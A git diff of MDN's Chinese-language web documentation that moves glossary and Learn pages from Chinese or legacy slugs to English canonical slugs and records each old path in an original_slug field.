    diff --git a/files/zh-cn/glossary/http_header/index.html b/files/zh-cn/glossary/http_header/index.html index a79ef62498..e176995fc8 100644 --- a/files/zh-cn/glossary/http_header/index.html +++ b/files/zh-cn/glossary/http_header/index.html @@ -1,11 +1,12 @@ --- title: HTTP header(HTTP 首部) -slug: Glossary/Header +slug: Glossary/HTTP_header tags: - Glossary - HTTP - 术语 translation_of: Glossary/HTTP_header +original_slug: Glossary/Header ---

    HTTP header(HTTP 首部,HTTP 头)表示在 HTTP 请求或响应中的用来传递附加信息的字段,修改所传递的消息(或者消息主体)的语义,或者使其更加精确。消息首部不区分大小写,开始于一行的开头,后面紧跟着一个 ':' 和与之相关的值。字段值在一个换行符(CRLF)前或者整个消息的末尾结束。

    diff --git a/files/zh-cn/glossary/idempotent/index.html b/files/zh-cn/glossary/idempotent/index.html index cc8b22c143..e0dde60f23 100644 --- a/files/zh-cn/glossary/idempotent/index.html +++ b/files/zh-cn/glossary/idempotent/index.html @@ -1,10 +1,11 @@ --- title: 幂等 -slug: Glossary/幂等 +slug: Glossary/Idempotent tags: - Glossary - WebMechanics translation_of: Glossary/Idempotent +original_slug: Glossary/幂等 ---

    一个HTTP方法是幂等的,指的是同样的请求被执行一次与连续执行多次的效果是一样的,服务器的状态也是一样的。换句话说就是,幂等方法不应该具有副作用(统计用途除外)。在正确实现的条件下, {{HTTPMethod("GET")}} , {{HTTPMethod("HEAD")}} , {{HTTPMethod("PUT")}} 和 {{HTTPMethod("DELETE")}}  等方法都是幂等的,而  {{HTTPMethod("POST")}}  方法不是。所有的 {{glossary("safe")}} 方法也都是幂等的。

    diff --git a/files/zh-cn/glossary/iife/index.html b/files/zh-cn/glossary/iife/index.html index 659d1e8670..1150a22614 100644 --- a/files/zh-cn/glossary/iife/index.html +++ b/files/zh-cn/glossary/iife/index.html @@ -1,12 +1,13 @@ --- title: IIFE(立即调用函数表达式) -slug: Glossary/立即执行函数表达式 +slug: Glossary/IIFE tags: - CodingScripting - Glossary - JavaScript - 术语 translation_of: Glossary/IIFE +original_slug: Glossary/立即执行函数表达式 ---

    IIFE( 立即调用函数表达式)是一个在定义时就会立即执行的  {{glossary("JavaScript")}} {{glossary("function","函数")}}。

    diff --git a/files/zh-cn/glossary/ip_address/index.html b/files/zh-cn/glossary/ip_address/index.html index 52686f1c20..396969dc8e 100644 --- a/files/zh-cn/glossary/ip_address/index.html +++ b/files/zh-cn/glossary/ip_address/index.html @@ -1,11 +1,12 @@ --- title: IP地址 -slug: Glossary/IP地址 +slug: Glossary/IP_Address tags: - IP地址 - 初学者 - 术语表 translation_of: Glossary/IP_Address +original_slug: Glossary/IP地址 ---

    IP地址是分配给连接到使用Internet协议的网络的每个设备的一串数字。

    diff --git a/files/zh-cn/glossary/localization/index.html b/files/zh-cn/glossary/localization/index.html index aafe809a5d..1ba3b8bed6 100644 --- a/files/zh-cn/glossary/localization/index.html +++ b/files/zh-cn/glossary/localization/index.html @@ -1,7 +1,8 @@ --- title: 本地化 -slug: Localization +slug: Glossary/Localization translation_of: Glossary/Localization +original_slug: Localization ---

    Localization (L10n) is the process of translating software user interfaces from one language to another and adapting it to suit a foreign culture. These resources are for anyone with an interest in the technical aspects involved in localization. They are for developers and all contributors.

    diff --git a/files/zh-cn/glossary/main_axis/index.html b/files/zh-cn/glossary/main_axis/index.html index c3c8b91de1..aaee256e7d 100644 --- a/files/zh-cn/glossary/main_axis/index.html +++ b/files/zh-cn/glossary/main_axis/index.html @@ -1,7 +1,8 @@ --- title: 主轴 -slug: Glossary/主轴 +slug: Glossary/Main_Axis translation_of: Glossary/Main_Axis +original_slug: Glossary/主轴 ---

    主轴是由弹性容器 {{glossary("flexbox")}} 中弹性方向 {{cssxref("flex-direction")}} 属性所定义的的。弹性方向 flex-direction  有4个可能的值,分别是:

    diff --git a/files/zh-cn/glossary/oop/index.html b/files/zh-cn/glossary/oop/index.html index 4f2793cc69..b4163352cd 100644 --- a/files/zh-cn/glossary/oop/index.html +++ b/files/zh-cn/glossary/oop/index.html @@ -1,11 +1,12 @@ --- title: OOP -slug: Glossary/面向对象编程 +slug: Glossary/OOP tags: - 初学者 - 术语 - 编写脚本 translation_of: Glossary/OOP +original_slug: Glossary/面向对象编程 ---

    OOP(面向对象编程)是一种编程方法,其中数据封装在{{glossary("object","对象")}}中,对象本身在其上运行,而不是其组成部分。

    diff --git a/files/zh-cn/glossary/origin/index.html b/files/zh-cn/glossary/origin/index.html index 83090ee98f..ed3ce153e8 100644 --- a/files/zh-cn/glossary/origin/index.html +++ b/files/zh-cn/glossary/origin/index.html @@ -1,7 +1,8 @@ --- title: Origin -slug: Glossary/源 +slug: Glossary/Origin translation_of: Glossary/Origin +original_slug: Glossary/源 ---

    Web内容的源由用于访问它的{{Glossary("URL")}} 的方案(协议),主机(域名)和端口定义。只有当方案,主机和端口都匹配时,两个对象具有相同的起源。

    diff --git a/files/zh-cn/glossary/progressive_enhancement/index.html b/files/zh-cn/glossary/progressive_enhancement/index.html index 7a0b586b9a..ebb2d01925 100644 --- a/files/zh-cn/glossary/progressive_enhancement/index.html +++ b/files/zh-cn/glossary/progressive_enhancement/index.html @@ -1,11 +1,12 @@ --- title: 渐进增强 -slug: Glossary/渐进增强 +slug: Glossary/Progressive_Enhancement tags: - 无障碍 - 设计 - 词汇表 translation_of: Glossary/Progressive_Enhancement +original_slug: Glossary/渐进增强 ---

    渐进增强(Progressive enhancement)是一种设计理念,其核心是为尽可能多的用户提供基本内容和功能,同时进一步为现代化浏览器用户提供最佳体验,运行所有需要的代码。

    diff --git a/files/zh-cn/glossary/proxy_server/index.html b/files/zh-cn/glossary/proxy_server/index.html index 86774d0a71..1e680cfedf 100644 --- a/files/zh-cn/glossary/proxy_server/index.html +++ b/files/zh-cn/glossary/proxy_server/index.html @@ -1,11 +1,12 @@ --- title: 代理服务器 -slug: Glossary/代理服务器 +slug: Glossary/Proxy_server tags: - 代理 - 服务器 - 术语 translation_of: Glossary/Proxy_server +original_slug: Glossary/代理服务器 ---

    代理服务器 是用来在不同Internet网络之间进行导航的中继软件或者计算机。 它们有助于访问万维网上的内容。代理服务器会拦截请求并提供响应;它不一定会转发所有请求(比如说在有缓存的情况), 而且也许会修改请求或者响应 (比如说在两个网络环境边界的时候修改请求头部信息)。

    diff --git a/files/zh-cn/glossary/pseudo-class/index.html b/files/zh-cn/glossary/pseudo-class/index.html index 56c818928f..066340f11a 100644 --- a/files/zh-cn/glossary/pseudo-class/index.html +++ b/files/zh-cn/glossary/pseudo-class/index.html @@ -1,11 +1,12 @@ --- title: 伪类 -slug: Glossary/伪类 +slug: Glossary/Pseudo-class tags: - CSS - 伪类 - 选择器 translation_of: Glossary/Pseudo-class +original_slug: Glossary/伪类 ---

    在 CSS 中, 一个伪类选择器只依据元素的状态, 而不是元素在文档树中的信息, 来选择目标对象.举例来说, 选择器 a{{ cssxref(":visited") }} 仅仅应用于那些用户已经浏览过的连接.

    diff --git a/files/zh-cn/glossary/request_header/index.html b/files/zh-cn/glossary/request_header/index.html index 666ace7ea4..82c98704fc 100644 --- a/files/zh-cn/glossary/request_header/index.html +++ b/files/zh-cn/glossary/request_header/index.html @@ -1,10 +1,11 @@ --- title: Request header(请求头) -slug: Glossary/请求头 +slug: Glossary/Request_header tags: - HTTP - 术语 translation_of: Glossary/Request_header +original_slug: Glossary/请求头 ---

    请求头是 {{glossary("header", "HTTP 头")}}的一种,它可在 HTTP 请求中使用,并且和请求主体无关 。某些请求头如 {{HTTPHeader("Accept")}}、{{HTTPHeader("Accept-Language", "Accept-*")}}、 {{HTTPHeader("If-Modified-Since", "If-*")}} 允许执行条件请求。某些请求头如:{{HTTPHeader("Cookie")}}, {{HTTPHeader("User-Agent")}} 和 {{HTTPHeader("Referer")}} 描述了请求本身以确保服务端能返回正确的响应。

    diff --git a/files/zh-cn/glossary/semantics/index.html b/files/zh-cn/glossary/semantics/index.html index 54cb20f0b9..201d6e91c1 100644 --- a/files/zh-cn/glossary/semantics/index.html +++ b/files/zh-cn/glossary/semantics/index.html @@ -1,11 +1,12 @@ --- title: Semantics(语义) -slug: Glossary/语义 +slug: Glossary/Semantics tags: - 编程 - 语义 - 语义化 translation_of: Glossary/Semantics +original_slug: Glossary/语义 ---

    在编程中,语义指的是一段代码的含义 — 例如 "运行这行 JavaScript 代码会产生怎样的影响?", 或者 "这个 HTML 的元素有什么作用,扮演了什么样的角色"(而不只是 "它看上去像是什么?"。)

    diff --git a/files/zh-cn/glossary/serialization/index.html b/files/zh-cn/glossary/serialization/index.html index 8405434f3e..1a90c7754a 100644 --- a/files/zh-cn/glossary/serialization/index.html +++ b/files/zh-cn/glossary/serialization/index.html @@ -1,12 +1,13 @@ --- title: Serialize -slug: Glossary/Serialize +slug: Glossary/Serialization tags: - Glossary - JavaScript - Serialize translation_of: Glossary/Serialization translation_of_original: Glossary/Serialize +original_slug: Glossary/Serialize ---

    序列化(Serialization )意味着将 {{Glossary("object", "对象")}} 或某种其他类型的数据结构转换为可存储格式(例如,文件或 {{Glossary("buffer")}})。

    diff --git a/files/zh-cn/glossary/simple_header/index.html b/files/zh-cn/glossary/simple_header/index.html index c2c1f71d4f..846fc193cd 100644 --- a/files/zh-cn/glossary/simple_header/index.html +++ b/files/zh-cn/glossary/simple_header/index.html @@ -1,11 +1,12 @@ --- title: 简单头部 -slug: Glossary/简单头部 +slug: Glossary/Simple_header tags: - HTTP - 简单头部 - 跨域 translation_of: Glossary/Simple_header +original_slug: Glossary/简单头部 ---

    以下的 HTTP headers都可以被认为是简单头部:

    diff --git a/files/zh-cn/glossary/sloppy_mode/index.html b/files/zh-cn/glossary/sloppy_mode/index.html index 3856bd5b35..24df3556d6 100644 --- a/files/zh-cn/glossary/sloppy_mode/index.html +++ b/files/zh-cn/glossary/sloppy_mode/index.html @@ -1,7 +1,8 @@ --- title: 正常模式 -slug: Glossary/正常模式 +slug: Glossary/Sloppy_mode translation_of: Glossary/Sloppy_mode +original_slug: Glossary/正常模式 ---

    因为翻译原因,正常模式也被翻译为——马虎模式/稀松模式/懒散模式

    diff --git a/files/zh-cn/glossary/speculative_parsing/index.html b/files/zh-cn/glossary/speculative_parsing/index.html index bded58d8fd..6d3b064353 100644 --- a/files/zh-cn/glossary/speculative_parsing/index.html +++ b/files/zh-cn/glossary/speculative_parsing/index.html @@ -1,7 +1,8 @@ --- title: 对页面预解析进行优化 -slug: Web/HTML/Optimizing_your_pages_for_speculative_parsing +slug: Glossary/speculative_parsing translation_of: Glossary/speculative_parsing +original_slug: Web/HTML/Optimizing_your_pages_for_speculative_parsing ---

    在传统的浏览器中,HTML 解析器运行于主线程之中,并且在遇到 </script> 标签后会被阻塞,直到脚本从网络中被获取和执行。 Firefox 4 和后续的版本支持从主线程中分离的预解析技术。 当脚本在获取和执行的过程中,预解析技术能提前解析HTML文档。在Firefox 3.5 和 3.6中, HTML 解析器能够在文档流中预先加载脚本、层叠样式表和图片。然而, 在Firefox 4 和后续的版本中 HTML 解析器也预先运行HTML 树构建算法。 这一举措的优点是当预解析成功后,就没有必要再重新解析已经扫描过并且成功下载的脚本,层叠样式表和图片;缺点就是当预解析失败之后,有很多工作需要去做。

    diff --git a/files/zh-cn/glossary/time_to_first_byte/index.html b/files/zh-cn/glossary/time_to_first_byte/index.html index 8bcc8f0ce9..2fbd4fa934 100644 --- a/files/zh-cn/glossary/time_to_first_byte/index.html +++ b/files/zh-cn/glossary/time_to_first_byte/index.html @@ -1,7 +1,8 @@ --- title: 第一字节时间 -slug: Glossary/第一字节时间 +slug: Glossary/time_to_first_byte translation_of: Glossary/time_to_first_byte +original_slug: Glossary/第一字节时间 ---

    第一字节时间(TTFB)是指从浏览器请求页面到从浏览器接收来自服务器发送的信息的第一个字节的时间。这一次包括DNS查找和使用(三次)TCP握手和SSL握手建立连接(如果请求是通过https发出的)。

    diff --git a/files/zh-cn/glossary/type_conversion/index.html b/files/zh-cn/glossary/type_conversion/index.html index 7d1eb4c23e..863855caad 100644 --- a/files/zh-cn/glossary/type_conversion/index.html +++ b/files/zh-cn/glossary/type_conversion/index.html @@ -1,11 +1,12 @@ --- title: Type conversion(类型转换) -slug: Glossary/类型转换 +slug: Glossary/Type_Conversion tags: - Type - 术语 - 类型 translation_of: Glossary/Type_Conversion +original_slug: Glossary/类型转换 ---

    类型转换(或类型变换;英文:Type conversion, typecasting)是指将数据由一种类型变换为另一种类型。在编译器自动赋值时,会发生隐式转换,但在代码中,也可以用一些写法强制要求进行显式转换。例如:在表达式 5 + 2.0 中,整数 5 被隐式转换为浮点数,但 Number("0x11") 和 "0x11" 则被显式转换为数字 17。

    diff --git a/files/zh-cn/glossary/xhtml/index.html b/files/zh-cn/glossary/xhtml/index.html index e562ccca94..276b4aed22 100644 --- a/files/zh-cn/glossary/xhtml/index.html +++ b/files/zh-cn/glossary/xhtml/index.html @@ -1,7 +1,8 @@ --- title: XHTML -slug: XHTML +slug: Glossary/XHTML translation_of: Glossary/XHTML +original_slug: XHTML ---

    W3C标准 XHTML

    diff --git a/files/zh-cn/learn/accessibility/css_and_javascript/index.html b/files/zh-cn/learn/accessibility/css_and_javascript/index.html index bdc3b01b2e..a7177d31be 100644 --- a/files/zh-cn/learn/accessibility/css_and_javascript/index.html +++ b/files/zh-cn/learn/accessibility/css_and_javascript/index.html @@ -1,6 +1,6 @@ --- title: CSS 和 JavaScript 无障碍最佳实践 -slug: learn/Accessibility/CSS和JavaScript +slug: Learn/Accessibility/CSS_and_JavaScript tags: - CSS - hiding @@ -13,6 +13,7 @@ tags: - 编码脚本 - 颜色 translation_of: Learn/Accessibility/CSS_and_JavaScript +original_slug: learn/Accessibility/CSS和JavaScript ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/accessibility/html/index.html b/files/zh-cn/learn/accessibility/html/index.html index beeb753338..2f3786fbaa 100644 --- a/files/zh-cn/learn/accessibility/html/index.html +++ b/files/zh-cn/learn/accessibility/html/index.html @@ -1,7 +1,8 @@ --- title: 'HTML: 为可访问性提供一个良好的基础' -slug: 'learn/Accessibility/HTML:为可访问性提供一个良好的基础' +slug: Learn/Accessibility/HTML translation_of: Learn/Accessibility/HTML +original_slug: learn/Accessibility/HTML:为可访问性提供一个良好的基础 ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/accessibility/multimedia/index.html b/files/zh-cn/learn/accessibility/multimedia/index.html index 660ebca836..4d496aabbc 100644 --- a/files/zh-cn/learn/accessibility/multimedia/index.html +++ b/files/zh-cn/learn/accessibility/multimedia/index.html @@ -1,7 +1,8 @@ --- title: 多媒体的可访问性(Accessible multimedia) -slug: learn/Accessibility/多媒体 +slug: Learn/Accessibility/Multimedia translation_of: Learn/Accessibility/Multimedia +original_slug: learn/Accessibility/多媒体 ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/common_questions/available_text_editors/index.html b/files/zh-cn/learn/common_questions/available_text_editors/index.html index f8f394191d..0262d3075b 100644 --- a/files/zh-cn/learn/common_questions/available_text_editors/index.html +++ b/files/zh-cn/learn/common_questions/available_text_editors/index.html @@ -1,7 +1,8 @@ --- title: 什么文本编辑器比较好用? -slug: Learn/Common_questions/实用文本编辑器 +slug: Learn/Common_questions/Available_text_editors translation_of: Learn/Common_questions/Available_text_editors +original_slug: Learn/Common_questions/实用文本编辑器 ---
    {{IncludeSubnav("/en-US/Learn")}}
    diff --git a/files/zh-cn/learn/common_questions/how_does_the_internet_work/index.html b/files/zh-cn/learn/common_questions/how_does_the_internet_work/index.html index ab8eee6e1a..4a97efee07 100644 --- a/files/zh-cn/learn/common_questions/how_does_the_internet_work/index.html +++ b/files/zh-cn/learn/common_questions/how_does_the_internet_work/index.html @@ -1,7 +1,8 @@ --- title: 互联网是如何工作的 -slug: learn/How_the_Internet_works +slug: Learn/Common_questions/How_does_the_Internet_work translation_of: Learn/Common_questions/How_does_the_Internet_work +original_slug: learn/How_the_Internet_works ---

     这篇文章讨论什么是互联网以及它是如何工作的.

    diff --git a/files/zh-cn/learn/common_questions/what_are_browser_developer_tools/index.html b/files/zh-cn/learn/common_questions/what_are_browser_developer_tools/index.html index 69081b9745..2626700a44 100644 --- a/files/zh-cn/learn/common_questions/what_are_browser_developer_tools/index.html +++ b/files/zh-cn/learn/common_questions/what_are_browser_developer_tools/index.html @@ -1,10 +1,11 @@ --- title: 什么是浏览器开发者工具? -slug: Learn/Discover_browser_developer_tools +slug: Learn/Common_questions/What_are_browser_developer_tools tags: - 开发工具 - 调试 translation_of: Learn/Common_questions/What_are_browser_developer_tools +original_slug: Learn/Discover_browser_developer_tools ---

    每一个现代网络浏览器都包含一套强大的开发工具套件。这些工具可以检查当前加载的HTML、CSS和JavaScript,显示每个资源页面的请求以及载入所花费的时间。本文阐述了如何利用浏览器的开发工具的基本功能。

    diff --git a/files/zh-cn/learn/css/building_blocks/a_cool_looking_box/index.html b/files/zh-cn/learn/css/building_blocks/a_cool_looking_box/index.html index 6ddd1d114b..7e2fca613e 100644 --- a/files/zh-cn/learn/css/building_blocks/a_cool_looking_box/index.html +++ b/files/zh-cn/learn/css/building_blocks/a_cool_looking_box/index.html @@ -1,7 +1,8 @@ --- title: 一个漂亮的盒子 -slug: Learn/CSS/Styling_boxes/A_cool_looking_box +slug: Learn/CSS/Building_blocks/A_cool_looking_box translation_of: Learn/CSS/Building_blocks/A_cool_looking_box +original_slug: Learn/CSS/Styling_boxes/A_cool_looking_box ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/css/building_blocks/creating_fancy_letterheaded_paper/index.html b/files/zh-cn/learn/css/building_blocks/creating_fancy_letterheaded_paper/index.html index 692071dfde..14bad4558c 100644 --- a/files/zh-cn/learn/css/building_blocks/creating_fancy_letterheaded_paper/index.html +++ b/files/zh-cn/learn/css/building_blocks/creating_fancy_letterheaded_paper/index.html @@ -1,7 +1,8 @@ --- title: 创建精美的信纸 -slug: Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper +slug: Learn/CSS/Building_blocks/Creating_fancy_letterheaded_paper translation_of: Learn/CSS/Building_blocks/Creating_fancy_letterheaded_paper +original_slug: Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/css/building_blocks/fundamental_css_comprehension/index.html b/files/zh-cn/learn/css/building_blocks/fundamental_css_comprehension/index.html index b246af87fe..b70839097d 100644 --- a/files/zh-cn/learn/css/building_blocks/fundamental_css_comprehension/index.html +++ b/files/zh-cn/learn/css/building_blocks/fundamental_css_comprehension/index.html @@ -1,12 +1,13 @@ --- title: 基本的CSS理解 -slug: Learn/CSS/Introduction_to_CSS/Fundamental_CSS_comprehension +slug: Learn/CSS/Building_blocks/Fundamental_CSS_comprehension tags: - 初学者 - 盒模型 - 评估 - 选择器 translation_of: Learn/CSS/Building_blocks/Fundamental_CSS_comprehension +original_slug: Learn/CSS/Introduction_to_CSS/Fundamental_CSS_comprehension ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/css/building_blocks/handling_different_text_directions/index.html b/files/zh-cn/learn/css/building_blocks/handling_different_text_directions/index.html index f907c93a3c..58b9c5a12e 100644 --- a/files/zh-cn/learn/css/building_blocks/handling_different_text_directions/index.html +++ b/files/zh-cn/learn/css/building_blocks/handling_different_text_directions/index.html @@ -1,7 +1,8 @@ --- title: 处理不同方向的文本 -slug: Learn/CSS/Building_blocks/处理_不同_方向的_文本 +slug: Learn/CSS/Building_blocks/Handling_different_text_directions translation_of: Learn/CSS/Building_blocks/Handling_different_text_directions +original_slug: Learn/CSS/Building_blocks/处理_不同_方向的_文本 ---
    {{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Backgrounds_and_borders", "Learn/CSS/Building_blocks/Overflowing_content", "Learn/CSS/Building_blocks")}}
    diff --git a/files/zh-cn/learn/css/css_layout/legacy_layout_methods/index.html b/files/zh-cn/learn/css/css_layout/legacy_layout_methods/index.html index 58313b6fdd..958a6626ea 100644 --- a/files/zh-cn/learn/css/css_layout/legacy_layout_methods/index.html +++ b/files/zh-cn/learn/css/css_layout/legacy_layout_methods/index.html @@ -1,7 +1,8 @@ --- title: 传统的布局方法 -slug: Learn/CSS/CSS_layout/传统的布局方法 +slug: Learn/CSS/CSS_layout/Legacy_Layout_Methods translation_of: Learn/CSS/CSS_layout/Legacy_Layout_Methods +original_slug: Learn/CSS/CSS_layout/传统的布局方法 ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/css/css_layout/positioning/index.html b/files/zh-cn/learn/css/css_layout/positioning/index.html index cbfa094300..3965d4bef1 100644 --- a/files/zh-cn/learn/css/css_layout/positioning/index.html +++ b/files/zh-cn/learn/css/css_layout/positioning/index.html @@ -1,6 +1,6 @@ --- title: 定位 -slug: Learn/CSS/CSS_layout/定位 +slug: Learn/CSS/CSS_layout/Positioning tags: - CSS - 初学者 @@ -10,6 +10,7 @@ tags: - 相对定位 - 绝对定位 translation_of: Learn/CSS/CSS_layout/Positioning +original_slug: Learn/CSS/CSS_layout/定位 ---

    {{LearnSidebar}}

    diff --git a/files/zh-cn/learn/css/first_steps/getting_started/index.html b/files/zh-cn/learn/css/first_steps/getting_started/index.html index 0a6087ee12..d8a315fba4 100644 --- a/files/zh-cn/learn/css/first_steps/getting_started/index.html +++ b/files/zh-cn/learn/css/first_steps/getting_started/index.html @@ -1,6 +1,6 @@ --- title: 让我们开始CSS的学习之旅 -slug: Learn/CSS/First_steps/开始 +slug: Learn/CSS/First_steps/Getting_started tags: - CSS - 元素 @@ -9,6 +9,7 @@ tags: - 类 - 选择器 translation_of: Learn/CSS/First_steps/Getting_started +original_slug: Learn/CSS/First_steps/开始 ---

    {{LearnSidebar}}

    diff --git a/files/zh-cn/learn/css/first_steps/how_css_works/index.html b/files/zh-cn/learn/css/first_steps/how_css_works/index.html index 7aafcf481f..7bdf4bef5e 100644 --- a/files/zh-cn/learn/css/first_steps/how_css_works/index.html +++ b/files/zh-cn/learn/css/first_steps/how_css_works/index.html @@ -1,6 +1,6 @@ --- title: CSS如何运行 -slug: Learn/CSS/First_steps/CSS如何运行 +slug: Learn/CSS/First_steps/How_CSS_works tags: - CSS - DOM @@ -8,6 +8,7 @@ tags: - 无效的CSS代码 - 解析 translation_of: Learn/CSS/First_steps/How_CSS_works +original_slug: Learn/CSS/First_steps/CSS如何运行 ---

    {{LearnSidebar}}
    {{PreviousMenuNext("Learn/CSS/First_steps/How_CSS_is_structured", "Learn/CSS/First_steps/Using_your_new_knowledge", "Learn/CSS/First_steps")}}

    diff --git a/files/zh-cn/learn/css/howto/css_faq/index.html b/files/zh-cn/learn/css/howto/css_faq/index.html index 0e0593054b..1c9fb7478a 100644 --- a/files/zh-cn/learn/css/howto/css_faq/index.html +++ b/files/zh-cn/learn/css/howto/css_faq/index.html @@ -1,7 +1,8 @@ --- title: CSS 常见问题 -slug: Web/CSS/Common_CSS_Questions +slug: Learn/CSS/Howto/CSS_FAQ translation_of: Learn/CSS/Howto/CSS_FAQ +original_slug: Web/CSS/Common_CSS_Questions ---

    为什么我有效的CSS没有正确的渲染?

    diff --git a/files/zh-cn/learn/css/howto/generated_content/index.html b/files/zh-cn/learn/css/howto/generated_content/index.html index f3f9a0797b..d7cbe8761d 100644 --- a/files/zh-cn/learn/css/howto/generated_content/index.html +++ b/files/zh-cn/learn/css/howto/generated_content/index.html @@ -1,7 +1,8 @@ --- title: Content -slug: Web/Guide/CSS/Getting_started/Content +slug: Learn/CSS/Howto/Generated_content translation_of: Learn/CSS/Howto/Generated_content +original_slug: Web/Guide/CSS/Getting_started/Content ---

    {{ CSSTutorialTOC() }}

    diff --git a/files/zh-cn/learn/css/styling_text/fundamentals/index.html b/files/zh-cn/learn/css/styling_text/fundamentals/index.html index 45660a9532..3bde7ae492 100644 --- a/files/zh-cn/learn/css/styling_text/fundamentals/index.html +++ b/files/zh-cn/learn/css/styling_text/fundamentals/index.html @@ -1,6 +1,6 @@ --- title: 基本文本和字体样式 -slug: Learn/CSS/为文本添加样式/Fundamentals +slug: Learn/CSS/Styling_text/Fundamentals tags: - 初学者 - 对齐 @@ -8,6 +8,7 @@ tags: - 样式 - 间距 translation_of: Learn/CSS/Styling_text/Fundamentals +original_slug: Learn/CSS/为文本添加样式/Fundamentals ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/css/styling_text/index.html b/files/zh-cn/learn/css/styling_text/index.html index ec4822b9ad..1487b1912a 100644 --- a/files/zh-cn/learn/css/styling_text/index.html +++ b/files/zh-cn/learn/css/styling_text/index.html @@ -1,6 +1,6 @@ --- title: 为文本添加样式(样式化文本) -slug: Learn/CSS/为文本添加样式 +slug: Learn/CSS/Styling_text tags: - CSS - 代码脚步 @@ -16,6 +16,7 @@ tags: - 链接Links - 阴影shadow translation_of: Learn/CSS/Styling_text +original_slug: Learn/CSS/为文本添加样式 ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/css/styling_text/styling_links/index.html b/files/zh-cn/learn/css/styling_text/styling_links/index.html index df2e7c6093..bff27b63e5 100644 --- a/files/zh-cn/learn/css/styling_text/styling_links/index.html +++ b/files/zh-cn/learn/css/styling_text/styling_links/index.html @@ -1,6 +1,6 @@ --- title: 样式化链接 -slug: Learn/CSS/为文本添加样式/Styling_links +slug: Learn/CSS/Styling_text/Styling_links tags: - 伪类 - 悬浮 @@ -10,6 +10,7 @@ tags: - 超链接 - 链接 translation_of: Learn/CSS/Styling_text/Styling_links +original_slug: Learn/CSS/为文本添加样式/Styling_links ---

    {{LearnSidebar}}

    diff --git a/files/zh-cn/learn/css/styling_text/styling_lists/index.html b/files/zh-cn/learn/css/styling_text/styling_lists/index.html index 075b457836..57a4e0f189 100644 --- a/files/zh-cn/learn/css/styling_text/styling_lists/index.html +++ b/files/zh-cn/learn/css/styling_text/styling_lists/index.html @@ -1,7 +1,8 @@ --- title: 样式列表 -slug: Learn/CSS/为文本添加样式/Styling_lists +slug: Learn/CSS/Styling_text/Styling_lists translation_of: Learn/CSS/Styling_text/Styling_lists +original_slug: Learn/CSS/为文本添加样式/Styling_lists ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/css/styling_text/typesetting_a_homepage/index.html b/files/zh-cn/learn/css/styling_text/typesetting_a_homepage/index.html index 98f86f125f..c68a5f713c 100644 --- a/files/zh-cn/learn/css/styling_text/typesetting_a_homepage/index.html +++ b/files/zh-cn/learn/css/styling_text/typesetting_a_homepage/index.html @@ -1,6 +1,6 @@ --- title: 作业:排版社区大学首页 -slug: Learn/CSS/为文本添加样式/Typesetting_a_homepage +slug: Learn/CSS/Styling_text/Typesetting_a_homepage tags: - CSS - 初学者 @@ -9,6 +9,7 @@ tags: - 网络字体 - 链接 translation_of: Learn/CSS/Styling_text/Typesetting_a_homepage +original_slug: Learn/CSS/为文本添加样式/Typesetting_a_homepage ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/css/styling_text/web_fonts/index.html b/files/zh-cn/learn/css/styling_text/web_fonts/index.html index ad9691cb00..45b3bef610 100644 --- a/files/zh-cn/learn/css/styling_text/web_fonts/index.html +++ b/files/zh-cn/learn/css/styling_text/web_fonts/index.html @@ -1,7 +1,8 @@ --- title: Web 字体 -slug: Learn/CSS/为文本添加样式/Web_字体 +slug: Learn/CSS/Styling_text/Web_fonts translation_of: Learn/CSS/Styling_text/Web_fonts +original_slug: Learn/CSS/为文本添加样式/Web_字体 ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/forms/advanced_form_styling/index.html b/files/zh-cn/learn/forms/advanced_form_styling/index.html index 94128b7229..7add8a555f 100644 --- a/files/zh-cn/learn/forms/advanced_form_styling/index.html +++ b/files/zh-cn/learn/forms/advanced_form_styling/index.html @@ -1,7 +1,8 @@ --- title: 高级设计 HTML 表单 -slug: Learn/HTML/Forms/Advanced_styling_for_HTML_forms +slug: Learn/Forms/Advanced_form_styling translation_of: Learn/Forms/Advanced_form_styling +original_slug: Learn/HTML/Forms/Advanced_styling_for_HTML_forms ---
    {{LearnSidebar}}{{PreviousMenuNext("Learn/HTML/Forms/Styling_HTML_forms", "Learn/HTML/Forms/Property_compatibility_table_for_form_widgets", "Learn/HTML/Forms")}}
    diff --git a/files/zh-cn/learn/forms/basic_native_form_controls/index.html b/files/zh-cn/learn/forms/basic_native_form_controls/index.html index 8ef67a2f7a..0f738f9d23 100644 --- a/files/zh-cn/learn/forms/basic_native_form_controls/index.html +++ b/files/zh-cn/learn/forms/basic_native_form_controls/index.html @@ -1,7 +1,8 @@ --- title: 原生表单部件 -slug: Learn/HTML/Forms/The_native_form_widgets +slug: Learn/Forms/Basic_native_form_controls translation_of: Learn/Forms/Basic_native_form_controls +original_slug: Learn/HTML/Forms/The_native_form_widgets ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/forms/form_validation/index.html b/files/zh-cn/learn/forms/form_validation/index.html index 62758a26e6..0cdfdd07f1 100644 --- a/files/zh-cn/learn/forms/form_validation/index.html +++ b/files/zh-cn/learn/forms/form_validation/index.html @@ -1,9 +1,10 @@ --- title: 表单数据校验 -slug: Learn/HTML/Forms/Data_form_validation +slug: Learn/Forms/Form_validation tags: - HTML translation_of: Learn/Forms/Form_validation +original_slug: Learn/HTML/Forms/Data_form_validation ---

    {{LearnSidebar}}{{PreviousMenuNext("Learn/HTML/Forms/Sending_and_retrieving_form_data", "Learn/HTML/Forms/How_to_build_custom_form_widgets", "Learn/HTML/Forms")}}

